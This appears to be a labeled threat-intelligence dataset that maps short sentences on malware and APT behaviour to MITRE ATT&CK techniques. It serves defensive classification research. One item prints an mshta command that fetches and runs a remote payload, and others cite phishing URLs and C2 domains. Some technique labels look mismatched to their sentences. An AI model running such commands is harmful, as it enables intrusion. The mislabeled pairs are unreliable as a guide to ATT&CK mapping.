HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
Message 2:    Headers Received: by mailcenter.support   Sender Council on Foreign Relations <webprint@fprii.net>   Subject The Four Traps China May Fall Into   Body Content and images included within the e-mail body were a direct copy of the following CFR article: https://www.cfr.org/blog/four-traps-china-may-fall   Notes Multiple hyperlinks within the e-mail body lead to a malicious RTF document located at the URL  hxxp://fprii.net/The_Four_Traps_for_China.doc
Technique: T1087: Account Discovery
OSX/Shlayer collects the IOPlatformUUID, session UID, and the OS version using the command sw_vers -productVersion.
Technique: T1082: System Information Discovery
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close"
They may also be executed directly from URLs: mshta http://webserver/payload.hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use.
Technique: T1218: Signed Binary Proxy Execution
FIN4 has captured credentials via fake Outlook Web App  login pages and has also used a .NET based keylogger.
Technique: T1056: Input Capture
ShadowPad has collected the current date and time of the victim system.
Technique: T1124: System Time Discovery
RainyDay can use side-loading to run malicious executables.
Technique: T1574: Hijack Execution Flow
Ebury has obfuscated its strings with a simple XOR encryption with a static key.
Technique: T1027: Obfuscated Files or Information
If the string is present, the malware executes the command RunDll32.exe
Technique: T1218: Signed Binary Proxy Execution
This Registry key is not created by default during an Office installation.
Technique: T1137: Office Application Startup
Adversaries may use binary padding to add junk data and change the on-disk representation of malware.
Technique: T1027: Obfuscated Files or Information
PLEAD has used RC4 encryption to download modules.
Technique: T1573: Encrypted Channel
Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.
Technique: T1059: Command and Scripting Interpreter
Pay2Key has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.
Technique: T1090: Proxy
Later versions have hard-coded keys uniquely for each C2 address.
Technique: T1573: Encrypted Channel
In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.
Technique: T1529: System Shutdown/Reboot
TEARDROP was decoded using a custom rolling XOR algorithm to execute a customized Cobalt Strike payload.
Technique: T1140: Deobfuscate/Decode Files or Information
can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.
Technique: T1082: System Information Discovery
Adversaries may buy and/or steal code signing certificates that can be used during targeting.
Technique: T1588: Obtain Capabilities
Threat Group-3390 has used appcmd.exe to disable logging on a victim server.
Technique: T1562: Impair Defenses
The de facto standard across cloud service providers is to host the Instance Metadata API at http://169.254.169.254.
Technique: T1552: Unsecured Credentials
DEATHRANSOM has the ability to use WMI to delete volume shadow copies.
Technique: T1047: Windows Management Instrumentation
Deep Discovery Inspector protects customers from these threats via this DDI Rule:  DDI Rule 18 : DNS response of a queried malware Command and Control domain DDI Rule 15 : Many unsuccessful logon attempts (nbt_scan.exe) DDI Rule 38 : Multiple unsuccessful logon attempts (nbt_scan.exe)  TippingPoint customers are protected from these threats via these ThreatDV filters:  27218: HTTP: TROJ_RATANKBA_A Checkin 28219: HTTP: TROJ_RATANKBA_A Checkin 02 27220: HTTPS: TROJ_RATANKBA_A Checkin 27221: HTTP: Sundown EK Flash Exploit (SWF_EXPLOYT.YYRQ)  A list of related Indicators of Compromise (IoCs) can be found in this appendix
Technique: T1071: Application Layer Protocol
Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained.
Technique: T1110: Brute Force
Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.
Technique: T1486: Data Encrypted for Impact
Adversaries may also directly start services through Service Execution.
Technique: T1543: Create or Modify System Process
Attor's dispatcher has used CreateProcessW API for execution.
Technique: T1106: Native API
A Destover-like variant used by Lazarus Group also gathers process times.
Technique: T1057: Process Discovery
likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor
Technique: T1036: Masquerading
Ramsay can gather a list of running processes by using Tasklist.
Technique: T1057: Process Discovery
Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.
Technique: T1587: Develop Capabilities
GoldMax will check if it is being run in a virtualized environment by comparing the collected MAC address to c8:27:cc:c2:37:5a.
Technique: T1497: Virtualization/Sandbox Evasion
Kerberos authentication can be used as the first step to lateral movement to a remote system.
Technique: T1550: Use Alternate Authentication Material
LiteDuke can enumerate the CPUID and BIOS version on a compromised system.
Technique: T1082: System Information Discovery
Catchamas obtains application windows titles and then determines which windows to perform Screen Capture on.
Technique: T1010: Application Window Discovery
In this case, the malicious emails contain links.
Technique: T1566: Phishing
CozyCar has executed Mimikatz to harvest stored credentials from the victim and further victim penetration.
Technique: T1003: OS Credential Dumping
Carbon uses the net group command.
Technique: T1069: Permission Groups Discovery
Volgmer can gather a list of processes.
Technique: T1057: Process Discovery
Adversaries may attempt to find group and permission settings.
Technique: T1069: Permission Groups Discovery
SharpStage can execute arbitrary commands with the command line.
Technique: T1059: Command and Scripting Interpreter
Cluster A Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483  In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware
Technique: T1204: User Execution
CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.
Technique: T1071: Application Layer Protocol
Lateral Movement APT40 uses many methods for lateral movement throughout an environment, including custom scripts, web shells, a variety of tunnelers, as well as Remote Desktop Protocol (RDP)
Technique: T1021: Remote Services
This approach may be used to avoid triggering network data transfer threshold alerts.
Technique: T1030: Data Transfer Size Limits
Some Sakula samples install themselves as services for persistence by calling WinExec with the net start argument.
Technique: T1543: Create or Modify System Process
Hancitor has decoded Base64 encoded URLs to insert a recipient’s name into the filename of the Word document.
Technique: T1140: Deobfuscate/Decode Files or Information
Chimera has used PsExec to deploy beacons on compromised systems.
Technique: T1569: System Services
Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.
Technique: T1550: Use Alternate Authentication Material
Other accessibility features exist that may also be leveraged in a similar fashion: 
* On-Screen Keyboard: C:\Windows\System32\osk.exe
* Magnifier: C:\Windows\System32\Magnify.exe
* Narrator: C:\Windows\System32\Narrator.exe
* Display Switcher: C:\Windows\System32\DisplaySwitch.exe
* App Switcher: C:\Windows\System32\AtBroker.exe Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.
Technique: T1546: Event Triggered Execution
Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs
Technique: T1055: Process Injection
menuPass has used InstallUtil.exe to execute malicious software.
Technique: T1218: Signed Binary Proxy Execution
APC injection is commonly performed by attaching malicious code to the APC Queue  of a process's thread.
Technique: T1055: Process Injection
The ARP protocol is stateless and does not require authentication.
Technique: T1557: Adversary-in-the-Middle
gh0st RAT	has encrypted TCP communications to evade detection.
Technique: T1573: Encrypted Channel
Aria-body has the ability to use a DGA for C2 communications.
Technique: T1568: Dynamic Resolution
Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process.
Technique: T1010: Application Window Discovery
The binary will then be executed by the system when the authentication packages are loaded.
Technique: T1547: Boot or Logon Autostart Execution
Felismus uses command line for execution.
Technique: T1059: Command and Scripting Interpreter
ELMER is capable of performing process listings.
Technique: T1057: Process Discovery
Metamorfo has encrypted C2 commands with AES-256.
Technique: T1573: Encrypted Channel
Cracking hashes is usually done on adversary-controlled systems outside of the target network.
Technique: T1110: Brute Force
Although MURKYTOP is primarily a command-line reconnaissance tool, it can also be used for lateral movement
Technique: T1059: Command and Scripting Interpreter
PlugX can be configured to use HTTP for command and control.
Technique: T1071: Application Layer Protocol
Leviathan has used protocol tunneling to further conceal C2 communications and infrastructure.
Technique: T1572: Protocol Tunneling
An APT28 loader Trojan uses a cmd.exe and batch script to run its payload.
Technique: T1059: Command and Scripting Interpreter
Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.
Technique: T1497: Virtualization/Sandbox Evasion
RogueRobin has a command named $screenshot that may be responsible for taking screenshots of the victim machine.
Technique: T1113: Screen Capture
Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.
Technique: T1491: Defacement
The “screenshot” command takes a screenshot that is saved as a.PNG file in “ProgramData“
Technique: T1113: Screen Capture
BOOSTWRITE has exploited the loading of the legitimate Dwrite.dll file by actually loading the gdi library, which then loads the gdiplus library and ultimately loads the local Dwrite dll.
Technique: T1574: Hijack Execution Flow
Kazuar uses HTTP and HTTPS to communicate with the C2 server.
Technique: T1071: Application Layer Protocol
A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS .
Technique: T1499: Endpoint Denial of Service
Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address.
Technique: T1568: Dynamic Resolution
GALLIUM leveraged valid accounts to maintain access to a victim network.
Technique: T1078: Valid Accounts
APT34 has dumped credentials from victims in several ways, including by using open source tools Mimikatz and Lazagne, or by harvesting credentials when users log into Outlook Web Access.
Technique: T1003: OS Credential Dumping
Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.
Technique: T1220: XSL Script Processing
ZLib has the ability to obtain screenshots of the compromised system.
Technique: T1113: Screen Capture
Adversaries may send phishing messages to gain access to victim systems.
Technique: T1566: Phishing
Chimera's malware has altered the NTLM authentication program on domain controllers to allow Chimera to login without a valid credential.
Technique: T1556: Modify Authentication Process
Benign commands or other operations may also be used to delay malware execution.
Technique: T1497: Virtualization/Sandbox Evasion
Zeus Panda can download additional malware plug-in modules and execute them on the victim’s machine.
Technique: T1105: Ingress Tool Transfer
DarkHydrus has obtained and used tools such as Mimikatz, Empire, and Cobalt Strike.
Technique: T1588: Obtain Capabilities
CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.
Technique: T1005: Data from Local System
APT29 routinely removed their tools, including custom backdoors, once remote access was achieved.
Technique: T1070: Indicator Removal on Host
FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets.
Technique: T1566: Phishing
DOGCALL can download and execute additional payloads.
Technique: T1105: Ingress Tool Transfer
Dtrack’s can download and upload a file to the victim’s computer.
Technique: T1105: Ingress Tool Transfer
OSX/Shlayer also leveraged system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions.
Technique: T1553: Subvert Trust Controls
SombRAT can execute getinfo  to identify the username on a compromised host.
Technique: T1033: System Owner/User Discovery
It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Technique: T1518: Software Discovery
When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors.
Technique: T1600: Weaken Encryption
to plist filenames, unlisting them from the Finder app and default Terminal directory listings.
Technique: T1564: Hide Artifacts
Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Technique: T1547: Boot or Logon Autostart Execution
It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful
Technique: T1071: Application Layer Protocol
Ursnif has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.
Technique: T1140: Deobfuscate/Decode Files or Information
There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
Technique: T1137: Office Application Startup
* Malicious ads are paid for and served through legitimate ad providers.
Technique: T1189: Drive-by Compromise
KONNI has used HTTP for C2.
Technique: T1071: Application Layer Protocol
Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration
Technique: T1113: Screen Capture
Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop.
Technique: T1012: Query Registry
APT32 used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.
Technique: T1003: OS Credential Dumping
Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.
Technique: T1070: Indicator Removal on Host
PLEAD has the ability to steal saved passwords from Microsoft Outlook.
Technique: T1555: Credentials from Password Stores
Okrum was seen using a keylogger tool to capture keystrokes.
Technique: T1056: Input Capture
Dubbed ‘SpeakUp’, the new Trojan exploits known vulnerabilities in six different Linux distributions
Technique: T1068: Exploitation for Privilege Escalation
AppleJeus has deleted the MSI file after installation.
Technique: T1070: Indicator Removal on Host
Figure 6 Hardcoded Google Drive URL used in RogueRobin sample When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive
Technique: T1102: Web Service
SharpStage has checked the system settings to see if Arabic is the configured language.
Technique: T1082: System Information Discovery
The discovery modules used with Duqu can collect information on open windows.
Technique: T1010: Application Window Discovery
They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.
Technique: T1070: Indicator Removal on Host
UPPERCUT has the capability to gather the victim's proxy information.
Technique: T1016: System Network Configuration Discovery
LoudMiner launched the QEMU services in the /Library/LaunchDaemons/ folder using launchctl.
Technique: T1569: System Services
PolyglotDuke can use a custom algorithm to decrypt strings used by the malware.
Technique: T1140: Deobfuscate/Decode Files or Information
Ryuk has injected itself into remote processes to encrypt files using a combination of VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.
Technique: T1055: Process Injection
File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access   or by administrators using the built-in assoc utility.
Technique: T1546: Event Triggered Execution
The Registry of a remote system may be modified to aid in execution of files as part of lateral movement.
Technique: T1112: Modify Registry
Leviathan has obtained valid accounts to gain initial access.
Technique: T1078: Valid Accounts
Leviathan uses a backdoor known as BADFLICK that is is capable of generating a reverse shell, and has used multiple types of scripting for execution, including JavaScript and JavaScript Scriptlets in XML..
Technique: T1059: Command and Scripting Interpreter
Attackers can abuse this by looking through the file for potential credentials.
Technique: T1552: Unsecured Credentials
An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users.
Technique: T1491: Defacement
Windshift has used fake personas on social media to engage and target victims.
Technique: T1566: Phishing
Smoke Loader recursively searches through directories for files.
Technique: T1083: File and Directory Discovery
Gazer can establish persistence by creating a scheduled task.
Technique: T1053: Scheduled Task/Job
By default, the passphrase for the keychain is the user’s logon credentials.
Technique: T1555: Credentials from Password Stores
Raindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm.
Technique: T1027: Obfuscated Files or Information
With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain
Technique: T1087: Account Discovery
The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV.” WannaCry creates the service "mssecsvc2.0" with the display name "Microsoft Security Center  Service."
Technique: T1543: Create or Modify System Process
APT3 places scripts in the startup folder for persistence.
Technique: T1547: Boot or Logon Autostart Execution
The PowerShell script collects all possible information on the user and the network, including snapshots, computer and user names, emails from registry, tasks in task scheduler, system information, AVs registered in the system, privileges, domain and workgroup information
Technique: T1087: Account Discovery
Process injection helps the malware avoid detection; however, review of active network connections show notepad.exe communicating to 185
Technique: T1055: Process Injection
Okrum was seen using modified Quarks PwDump to perform credential dumping.
Technique: T1003: OS Credential Dumping
The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation.
Technique: T1573: Encrypted Channel
Catchamas gathers the Mac address, IP address, and the network adapter information from the victim’s machine.
Technique: T1016: System Network Configuration Discovery
Sidewinder has sent e-mails with malicious attachments often crafted for specific targets.
Technique: T1566: Phishing
The shellcode retrieves an additional payload by connecting to the following C2 server using DNS: aaa.stage.14919005.www1.proslr3[.]com Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode
Technique: T1071: Application Layer Protocol
Astaroth collects the external IP address from the system.
Technique: T1016: System Network Configuration Discovery
ObliqueRAT has gained execution on targeted systems through luring users to click on links to malicious URLs.
Technique: T1204: User Execution
Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.
Technique: T1559: Inter-Process Communication
APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets.
Technique: T1566: Phishing
Ke3chang gathered information and files from local directories for exfiltration.
Technique: T1005: Data from Local System
Nomadic Octopus has targeted victims with spearphishing emails containing malicious attachments.
Technique: T1566: Phishing
Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
Technique: T1597: Search Closed Sources
GPP are tools that allow administrators to create domain policies with embedded credentials.
Technique: T1552: Unsecured Credentials
Sidewinder has added paths to executables in the Registry to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
PowerDuke hides many of its backdoor payloads in an alternate data stream .
Technique: T1564: Hide Artifacts
Bad Rabbit spread through watering holes on popular sites by injecting JavaScript into the HTML body or a .js file.
Technique: T1189: Drive-by Compromise
An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  Template Injection, or place a specially crafted file on navigation path for privileged accounts  or on a publicly accessible share to be accessed by victim.
Technique: T1187: Forced Authentication
NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host.
Technique: T1497: Virtualization/Sandbox Evasion
SUNBURST removed IFEO values to clean up traces of execution.
Technique: T1070: Indicator Removal on Host
Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Technique: T1542: Pre-OS Boot
OilRig has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.
Technique: T1555: Credentials from Password Stores
If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.
Technique: T1003: OS Credential Dumping
Hildegard has downloaded additional scripts that build and run Monero cryptocurrency miners.
Technique: T1105: Ingress Tool Transfer
Octopus can download additional files and tools onto the victim’s machine.
Technique: T1105: Ingress Tool Transfer
APT29 used WMI to steal credentials and execute backdoors at a future time.
Technique: T1047: Windows Management Instrumentation
Calisto has the capability to upload and download files to the victim's machine.
Technique: T1105: Ingress Tool Transfer
Linfo creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.
Technique: T1029: Scheduled Transfer
Sandworm Team has created new domain accounts on an ICS access server.
Technique: T1136: Create Account
A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment.
Technique: T1564: Hide Artifacts
This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy .
Technique: T1201: Password Policy Discovery
ROKRAT checks for debugging tools.
Technique: T1518: Software Discovery
SynAck gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.
Technique: T1082: System Information Discovery
Ferocious Kitten has used right-to-left override to reverse executables’ names to make them appear to have different file extensions, rather than their real ones.
Technique: T1036: Masquerading
Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.
Technique: T1112: Modify Registry
Chimera has used net share and net view to identify network shares of interest.
Technique: T1135: Network Share Discovery
Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.
Technique: T1505: Server Software Component
APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.
Technique: T1046: Network Service Scanning
Wiarp creates a backdoor through which remote attackers can open a command line interface.
Technique: T1059: Command and Scripting Interpreter
TA459 has a VBScript for execution.
Technique: T1059: Command and Scripting Interpreter
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders.
Technique: T1564: Hide Artifacts
Goopy has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.
Technique: T1036: Masquerading
HARDRAIN uses FakeTLS to communicate with its C2 server.
Technique: T1001: Data Obfuscation
Elise injects DLL files into iexplore.exe.
Technique: T1055: Process Injection
Sometimes these credentials are used for automatic logons.
Technique: T1552: Unsecured Credentials
Thrip has obtained and used tools such as Mimikatz and PsExec.
Technique: T1588: Obtain Capabilities
Adversaries may check for Internet connectivity on compromised systems.
Technique: T1016: System Network Configuration Discovery
Adversaries may use DGAs for the purpose of Fallback Channels.
Technique: T1568: Dynamic Resolution
In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
Technique: T1599: Network Boundary Bridging
BADNEWS can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.
Technique: T1102: Web Service
Dragonfly created accounts that appeared to be tailored to each individual staging target.
Technique: T1136: Create Account
Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets.
Technique: T1055: Process Injection
FIN8 has used sslip.io, a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control.
Technique: T1102: Web Service
njRAT enumerates the victim operating system and computer name during the initial infection.
Technique: T1082: System Information Discovery
DarkComet can launch a remote shell to execute commands on the victim’s machine.
Technique: T1059: Command and Scripting Interpreter
System time information may be gathered in a number of ways, such as with Net on Windows by performing net time \\hostname to gather the system time on a remote system.
Technique: T1124: System Time Discovery
TEXTMATE uses DNS TXT records for C2.
Technique: T1071: Application Layer Protocol
RainyDay can use scheduled tasks to achieve persistence.
Technique: T1053: Scheduled Task/Job
Machete uses the netsh wlan show networks mode=bssid and netsh wlan show interfaces commands to list all nearby WiFi networks and connected interfaces.
Technique: T1049: System Network Connections Discovery
DownPaper uses PowerShell for execution.
Technique: T1059: Command and Scripting Interpreter
Operation Wocao has used ProcDump to dump credentials from memory.
Technique: T1003: OS Credential Dumping
Patchwork has obtained and used open-source tools such as QuasarRAT.
Technique: T1588: Obtain Capabilities
SUNBURST added junk bytes to its C2 over HTTP.
Technique: T1001: Data Obfuscation
Excel does not have a template file created by default, but one can be added that will automatically be loaded.
Technique: T1137: Office Application Startup
The encryption/decryption routine (refer to Figure 5) can be summarized as follows:      Figure 5: Encryption/ Decryption Function  Generate an array of integers from 0x00 to 0xff Scrambles the state of the table using the given key Encrypts or decrypts a string using the scrambled table from (b)
Technique: T1573: Encrypted Channel
Adversaries may use Windows Dynamic Data Exchange  to execute arbitrary commands.
Technique: T1559: Inter-Process Communication
The decrypted contents of the log file adhere to the format in Figure 22
Technique: T1140: Deobfuscate/Decode Files or Information
Trojan.Karagany can use netstat to collect a list of network connections.
Technique: T1049: System Network Connections Discovery
A Threat Group-3390 tool can create a new Registry key under HKEY_CURRENT_USER\Software\Classes\.
Technique: T1112: Modify Registry
Kazuar uses FTP and FTPS to communicate with the C2 server.
Technique: T1071: Application Layer Protocol
Hydraq includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.
Technique: T1113: Screen Capture
Blue Mockingbird has obtained and used tools such as Mimikatz.
Technique: T1588: Obtain Capabilities
POWRUNER may enumerate user directories on a victim.
Technique: T1083: File and Directory Discovery
BoxCaon can download files.
Technique: T1105: Ingress Tool Transfer
APT3 has a tool that can delete files.
Technique: T1070: Indicator Removal on Host
FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked," "phish," and “malware" in a likely attempt to prevent organizations from communicating about their activities.
Technique: T1564: Hide Artifacts
Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments.) How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others
Technique: T1010: Application Window Discovery
An adversary may rely upon a user clicking a malicious link in order to divulge information  or to gain execution, as in Malicious Link.
Technique: T1608: Stage Capabilities
When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms
Technique: T1518: Software Discovery
If the installed product is on a predetermined list, the dropper will exit.
Technique: T1518: Software Discovery
Zebrocy searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar.
Technique: T1083: File and Directory Discovery
NanoCore can modify the victim's anti-virus.
Technique: T1562: Impair Defenses
Kimsuky has obfuscated binary strings including the use of XOR encryption and Base64 encoding.
Technique: T1027: Obfuscated Files or Information
MacSpy can record the sounds from microphones on a computer.
Technique: T1123: Audio Capture
While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info
Technique: T1059: Command and Scripting Interpreter
Crimson can decode its encoded PE file prior to execution.
Technique: T1140: Deobfuscate/Decode Files or Information
It also can delete temporary files and itself after the initial script executes.
Technique: T1070: Indicator Removal on Host
APT28 has used Tor and a variety of commercial VPN services to route brute force authentication attempts.
Technique: T1133: External Remote Services
Denis collects OS information and the computer name from the victim’s machine.
Technique: T1082: System Information Discovery
Carberp has queued an APC routine to explorer.exe by calling ZwQueueApcThread.
Technique: T1055: Process Injection
njRAT can search a list of running processes for Tr.exe.
Technique: T1057: Process Discovery
The executable attempts to download a couple of files from different sources and saves them in the AppData and Startup folders for persistence, then invokes the first downloaded file – Picture2.exe
Technique: T1105: Ingress Tool Transfer
Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.
Technique: T1564: Hide Artifacts
After data is collected by Stealth Falcon malware, it is exfiltrated over the existing C2 channel.
Technique: T1041: Exfiltration Over C2 Channel
Chimera has gathered the SYSTEM registry and ntds.dit files from target systems.
Technique: T1003: OS Credential Dumping
APT29 staged data and files in password-protected archives on a victim's OWA server.
Technique: T1074: Data Staged
Whitefly has encrypted the payload used for C2.
Technique: T1027: Obfuscated Files or Information
Operation Wocao has scanned for open ports and used nbtscan to find NETBIOS nameservers.
Technique: T1046: Network Service Scanning
This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API
Technique: T1102: Web Service
Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services.
Technique: T1574: Hijack Execution Flow
After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the victim server.
Technique: T1049: System Network Connections Discovery
Maze has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.
Technique: T1490: Inhibit System Recovery
KillDisk has used the FindNextFile command as part of its file deletion process.
Technique: T1083: File and Directory Discovery
The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely
Technique: T1547: Boot or Logon Autostart Execution
CostaRicto has used a layer of proxies to manage C2 communications.
Technique: T1090: Proxy
Tropic Trooper has used HTTP in communication with the C2.
Technique: T1071: Application Layer Protocol
AppleJeus has added a leading .
Technique: T1564: Hide Artifacts
Octopus can exfiltrate files from the system using a documents collector tool.
Technique: T1005: Data from Local System
Standard file systems include FAT, NTFS, ext4, and APFS.
Technique: T1564: Hide Artifacts
PowerStallion uses PowerShell loops to iteratively check for available commands in its OneDrive C2 server.
Technique: T1059: Command and Scripting Interpreter
Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Technique: T1185: Browser Session Hijacking
Kimsuky has registered domains to spoof targeted organizations and trusted third parties.
Technique: T1583: Acquire Infrastructure
This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe) then delete itself
Technique: T1070: Indicator Removal on Host
Machete produces file listings in order to search for files to be exfiltrated.
Technique: T1083: File and Directory Discovery
Cobalt Group has used the Plink utility to create SSH tunnels.
Technique: T1573: Encrypted Channel
Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.
Technique: T1489: Service Stop
BadPatch uses WMI to enumerate installed security products in the victim’s environment.
Technique: T1518: Software Discovery
JPIN can enumerate Registry keys.
Technique: T1012: Query Registry
net config
Technique: T1016: System Network Configuration Discovery
Lokibot has the ability to capture input on the compromised host via keylogging.
Technique: T1056: Input Capture
SYNful Knock is malware that is inserted into a network device by patching the operating system image.
Technique: T1601: Modify System Image
DCSync functionality has been included in the "lsadump" module in Mimikatz.
Technique: T1003: OS Credential Dumping
RedLeaves can capture screenshots.
Technique: T1113: Screen Capture
Kimsuky has placed scripts in the startup folder for persistence.
Technique: T1547: Boot or Logon Autostart Execution
There have been notable incidents where internal spearphishing has been used.
Technique: T1534: Internal Spearphishing
APT1 has used the Windows command shell to execute commands, and batch scripting to automate execution.
Technique: T1059: Command and Scripting Interpreter
Avenger has the ability to use Tasklist to identify running processes.
Technique: T1057: Process Discovery
The shellcode of the embedded object is designed to download an image, which is, in fact, a new shellcode used to decode an embedded executable
Technique: T1105: Ingress Tool Transfer
Pysa has executed a malicious executable by naming it svchost.exe.
Technique: T1036: Masquerading
Mustang Panda has used RAR to create password-protected archives of collected documents prior to exfiltration.
Technique: T1560: Archive Collected Data
Gathering this information may reveal opportunities for other forms of reconnaissance  or Phishing for Information, establishing operational resources , and/or initial access  or Valid Accounts.
Technique: T1589: Gather Victim Identity Information
* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\remote address\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.
Technique: T1187: Forced Authentication
Trojan.Karagany can capture information regarding the victim's OS, security, and hardware configuration.
Technique: T1082: System Information Discovery
Data from these solutions can be retrieved directly using the cloud provider's APIs.
Technique: T1530: Data from Cloud Storage Object
Wizard Spider has used WMI and LDAP queries for network discovery and to move laterally.
Technique: T1047: Windows Management Instrumentation
Final1stspy uses HTTP for C2.
Technique: T1071: Application Layer Protocol
TEMP.Veles has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.
Technique: T1021: Remote Services
Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Technique: T1552: Unsecured Credentials
Solution providers typically offer security guides to help end users configure systems.
Technique: T1530: Data from Cloud Storage Object
KGH_SPY has masqueraded as a legitimate Windows tool.
Technique: T1036: Masquerading
Egregor has disabled Windows Defender to evade protections.
Technique: T1562: Impair Defenses
Kazuar stages command output and collected data in files before exfiltration.
Technique: T1074: Data Staged
